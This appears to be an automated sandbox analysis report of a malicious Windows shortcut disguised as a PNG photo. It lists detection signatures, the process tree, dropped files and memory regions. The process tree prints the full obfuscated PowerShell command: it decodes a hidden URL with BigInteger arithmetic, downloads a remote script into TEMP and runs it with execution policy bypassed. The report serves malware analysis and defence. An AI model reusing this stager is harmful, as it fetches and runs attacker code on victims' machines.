Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/07/2026, 22:22

General

  • Target
    PHOTO-616669398.png.lnk
  • Size 2KB
  • Sample260703-1962eagy8w
  • SHA256 5aa9b2b7922d88aef7df85c4aeb38392e989f45d30c2ef4222f3bab3314610fb
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://nodejs.org/dist/v24.13.0/node-v24.13.0-win-x64.zip

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-616669398.png.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$hKCDsNp=[System.Numerics.BigInteger]\"265741122099128564813779447079131566531\";$Tr27aif=[System.Numerics.BigInteger]\"117664960889061141640528332535897056346\";$AgLhHhy8=$hKCDsNp - $Tr27aif;for($QIWKQwcQ=100+156;$AgLhHhy8 -ne 0;$AgLhHhy8=$AgLhHhy8 / $QIWKQwcQ){$jTjirqq=[int]($AgLhHhy8 % $QIWKQwcQ);$vB3sEe+=[System.Char]$jTjirqq;};curl $vB3sEe -OutFile $env:TEMP\qNYmhu6.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\qNYmhu6.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\qNYmhu6.ps1
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2512
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB74.tmp" "c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\CSC4C171B725DF44EE89E958A936887F79.TMP"
            5⤵
              PID:5176

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ModuleAnalysisCache

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
          • Size 67KB
          • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
          • MD5 SHA1 SHA512 SSDEEP TLSH

          RESEB74.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESEB74.tmp
          • Size 1KB
          • SHA256 5b7ffcf8e4b3315638150bc4c04a82ab2cc02a4c8e5cab1060e7dcc683d14860
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_cixdwnny.nue.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cixdwnny.nue.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          jfrqvs2u.dll

          • Path C:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.dll
          • Size 3KB
          • SHA256 50abda357e76eaae695f1874606c112b14d0c62bc70f1f9d937d3936e05cdb41
          • MD5 SHA1 SHA512 TLSH

          qNYmhu6.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\qNYmhu6.ps1
          • Size 403KB
          • SHA256 ff4ea30edd6488d529f7065230f8e92911745cb95ae34e3b6ddf3144fc59ee32
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CSC4C171B725DF44EE89E958A936887F79.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\CSC4C171B725DF44EE89E958A936887F79.TMP
          • Size 652B
          • SHA256 b2e8d220947edc01e39444c365156e6c04e3fe094eb96ab93109f12011379d5a
          • MD5 SHA1 SHA512 TLSH

          jfrqvs2u.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          jfrqvs2u.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\jfrqvs2u\jfrqvs2u.cmdline
          • Size 369B
          • SHA256 3c7a1da6194c25ec64d36c19a90a55cfa9564dfabaf268facc357cce25a83bfd
          • MD5 SHA1 SHA512 TLSH

          memory/2280-46-0x000001662F950000-0x000001662FA02000-memory.dmp

          memory/2280-45-0x000001662F570000-0x000001662F58E000-memory.dmp

          memory/2280-47-0x000001662F590000-0x000001662F59A000-memory.dmp

          memory/2280-48-0x000001662F580000-0x000001662F592000-memory.dmp

          memory/2280-34-0x000001662F390000-0x000001662F398000-memory.dmp

          memory/2280-49-0x000001662F570000-0x000001662F57A000-memory.dmp

          memory/4180-11-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-38-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-16-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-15-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-14-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-13-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-12-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-35-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-37-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-17-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-2-0x00007FFBD9BFF000-0x00007FFBD9C00000-memory.dmp

          memory/4180-10-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-9-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-8-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-7-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp

          memory/4180-6-0x000002827A830000-0x000002827A852000-memory.dmp

          memory/4180-5-0x00007FFBD9A70000-0x00007FFBDA414000-memory.dmp